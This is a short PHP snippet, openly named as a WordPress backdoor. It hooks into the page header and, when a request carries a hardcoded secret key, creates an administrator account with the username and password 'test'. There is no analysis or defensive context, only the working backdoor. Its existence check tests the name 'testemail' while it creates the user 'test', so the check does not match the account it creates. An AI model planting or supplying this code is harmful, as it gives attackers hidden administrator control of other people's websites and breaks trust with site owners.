wordpress_backdoor_to_create_a_user.php

add_action('wp_head', 'sec');
function sec() {
	if ($_GET['securitykey'] == 'DFJDkfjaieruqenb3413456613djfadiefadfbadsfsadfi134lajdba34134') {
		require('wp-includes/registration.php');
		if (!username_exists('testemail')) {
			$user_id = wp_create_user('test', 'test');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}